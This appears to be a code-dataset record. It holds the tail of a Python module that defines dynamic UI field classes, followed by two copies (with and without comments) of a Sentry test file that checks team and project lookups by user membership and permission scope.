BadgeItemDyField.set({'background_color': _key}) for _key in _default_state: for _state in _default_state[_key]: _state_options = {'icon': {'color': 'gray.400'}} if _key == 'safe': _state_options = {'icon': {'color': 'green.500'}} elif _key == 'disable': _state_options.update({'text_color': 'gray.400'}) elif _key == 'warning': _state_options = {'icon': {'color': 'yellow.500'}} elif _key == 'available': _state_options = {'icon': {'color': 'blue.400'}} elif _key == 'alert': _state_options = {'text_color': 'red.500', 'icon': {'color': 'red.500'}} _options_dic[_state] = StateItemDyField.set(_state_options) _data_source.update({'options': _options_dic}) if 'options' in kwargs: _data_source.update({'options': kwargs.get('options')}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class ProgressField(BaseDynamicField): type = StringType(default="progress") options = PolyModelType(ProgressFieldOptions, serialize_when_none=False, ) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': kwargs.get('options')}) return cls(_data_source) class SizeField(BaseDynamicField): type = StringType(default="size") options = PolyModelType(SizeFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': kwargs.get('options')}) return cls(_data_source) class SearchEnumField(Model): label = StringType(serialize_when_none=False) icon = ModelType(Icon, serialize_when_none=False) @classmethod def set_field(cls, label=None, icon=None): return_dic = {} if label is not None: return_dic.update({'label': label}) if icon is not None: return_dic.update({'icon': Icon(icon)}) return cls(return_dic) class SearchField(BaseDynamicSearch): enums = DictType(ModelType(SearchEnumField), serialize_when_none=False) reference = StringType(serialize_when_none=False) @classmethod def set(cls, name='', key='', data_type=None, enums=None, reference=None): return_dic = { 'name': name, 'key': key } if data_type is not None: return_dic.update({'data_type': data_type}) if reference is not None: return_dic.update({'reference': reference}) if enums is not None: convert_enums = {} for enum_key in enums: enum_v = enums[enum_key] convert_enums[enum_key] = SearchEnumField.set_field(**enum_v) return_dic.update({ 'enums': convert_enums }) return cls(return_dic)

true

f732973ab5e14dcb0ef39a1adb7dc2e525a39b6e

3,963

py

Python

tests/sentry/manager/tests.py

pierredup/sentry

0145e4b3bc0e775bf3482fe65f5e1a689d0dbb80

[ "BSD-3-Clause" ]

1

2019-10-17T17:46:16.000Z

tests/sentry/manager/tests.py

pierredup/sentry

0145e4b3bc0e775bf3482fe65f5e1a689d0dbb80

[ "BSD-3-Clause" ]

null

tests/sentry/manager/tests.py

pierredup/sentry

0145e4b3bc0e775bf3482fe65f5e1a689d0dbb80

[ "BSD-3-Clause" ]

null

from __future__ import absolute_import from sentry.models import Group, Project, Team, User from sentry.testutils import TestCase class SentryManagerTest(TestCase): def test_valid_only_message(self): event = Group.objects.from_kwargs(1, message="foo") self.assertEquals(event.group.last_seen, event.datetime) self.assertEquals(event.message, "foo") self.assertEquals(event.project_id, 1) class TeamManagerTest(TestCase): def test_simple(self): user = User.objects.create(username="foo") org = self.create_organization() team = self.create_team(organization=org, name="Test") self.create_member(organization=org, user=user, teams=[team]) result = Team.objects.get_for_user(organization=org, user=user) assert result == [team] def test_invalid_scope(self): user = User.objects.create(username="foo") org = self.create_organization() team = self.create_team(organization=org, name="Test") self.create_member(organization=org, user=user, teams=[team]) result = Team.objects.get_for_user(organization=org, user=user, scope="idontexist") assert result == [] def test_valid_scope(self): user = User.objects.create(username="foo") org = self.create_organization() team = self.create_team(organization=org, name="Test") self.create_member(organization=org, user=user, teams=[team]) result = Team.objects.get_for_user(organization=org, user=user, scope="project:read") assert result == [team] def test_user_no_access(self): user = User.objects.create(username="foo") user2 = User.objects.create(username="bar") org = self.create_organization() team = self.create_team(organization=org, name="Test") self.create_member(organization=org, user=user, teams=[team]) result = Team.objects.get_for_user(organization=org, user=user2) assert result == [] def test_with_projects(self): user = User.objects.create(username="foo") org = self.create_organization() team = self.create_team(organization=org, name="Test") self.create_member(organization=org, user=user, teams=[team]) project = self.create_project(teams=[team], name="foo") project2 = self.create_project(teams=[team], name="bar") result = Team.objects.get_for_user(organization=org, user=user, with_projects=True) assert result == [(team, [project2, project])] class ProjectManagerTest(TestCase): def test_simple(self): user = User.objects.create(username="foo") org = self.create_organization() team = self.create_team(organization=org, name="Test") project = self.create_project(teams=[team], name="foo") project2 = self.create_project(teams=[team], name="baz") result = Project.objects.get_for_user(team=team, user=user, _skip_team_check=True) assert result == [project2, project] result = Project.objects.get_for_user(team=team, user=user, _skip_team_check=False) assert result == [] self.create_member(organization=org, user=user, teams=[team]) # check again after creating member result = Project.objects.get_for_user(team=team, user=user, _skip_team_check=True) assert result == [project2, project] result = Project.objects.get_for_user(team=team, user=user, _skip_team_check=False) assert result == [project2, project] # test with scope user doesn't have result = Project.objects.get_for_user( team=team, user=user, _skip_team_check=False, scope="project:write" ) assert result == [] # check with scope they do have result = Project.objects.get_for_user( team=team, user=user, _skip_team_check=False, scope="project:read" ) assert result == [project2, project]

41.28125

93

0.671209

from __future__ import absolute_import from sentry.models import Group, Project, Team, User from sentry.testutils import TestCase class SentryManagerTest(TestCase): def test_valid_only_message(self): event = Group.objects.from_kwargs(1, message="foo") self.assertEquals(event.group.last_seen, event.datetime) self.assertEquals(event.message, "foo") self.assertEquals(event.project_id, 1) class TeamManagerTest(TestCase): def test_simple(self): user = User.objects.create(username="foo") org = self.create_organization() team = self.create_team(organization=org, name="Test") self.create_member(organization=org, user=user, teams=[team]) result = Team.objects.get_for_user(organization=org, user=user) assert result == [team] def test_invalid_scope(self): user = User.objects.create(username="foo") org = self.create_organization() team = self.create_team(organization=org, name="Test") self.create_member(organization=org, user=user, teams=[team]) result = Team.objects.get_for_user(organization=org, user=user, scope="idontexist") assert result == [] def test_valid_scope(self): user = User.objects.create(username="foo") org = self.create_organization() team = self.create_team(organization=org, name="Test") self.create_member(organization=org, user=user, teams=[team]) result = Team.objects.get_for_user(organization=org, user=user, scope="project:read") assert result == [team] def test_user_no_access(self): user = User.objects.create(username="foo") user2 = User.objects.create(username="bar") org = self.create_organization() team = self.create_team(organization=org, name="Test") self.create_member(organization=org, user=user, teams=[team]) result = Team.objects.get_for_user(organization=org, user=user2) assert result == [] def test_with_projects(self): user = User.objects.create(username="foo") org = self.create_organization() team = self.create_team(organization=org, name="Test") self.create_member(organization=org, user=user, teams=[team]) project = self.create_project(teams=[team], name="foo") project2 = self.create_project(teams=[team], name="bar") result = Team.objects.get_for_user(organization=org, user=user, with_projects=True) assert result == [(team, [project2, project])] class ProjectManagerTest(TestCase): def test_simple(self): user = User.objects.create(username="foo") org = self.create_organization() team = self.create_team(organization=org, name="Test") project = self.create_project(teams=[team], name="foo") project2 = self.create_project(teams=[team], name="baz") result = Project.objects.get_for_user(team=team, user=user, _skip_team_check=True) assert result == [project2, project] result = Project.objects.get_for_user(team=team, user=user, _skip_team_check=False) assert result == [] self.create_member(organization=org, user=user, teams=[team]) result = Project.objects.get_for_user(team=team, user=user, _skip_team_check=True) assert result == [project2, project] result = Project.objects.get_for_user(team=team, user=user, _skip_team_check=False) assert result == [project2, project] result = Project.objects.get_for_user( team=team, user=user, _skip_team_check=False, scope="project:write" ) assert result == [] # check with scope they do have result = Project.objects.get_for_user( team=team, user=user, _skip_team_check=False, scope="project:read" ) assert result == [project2, project]

true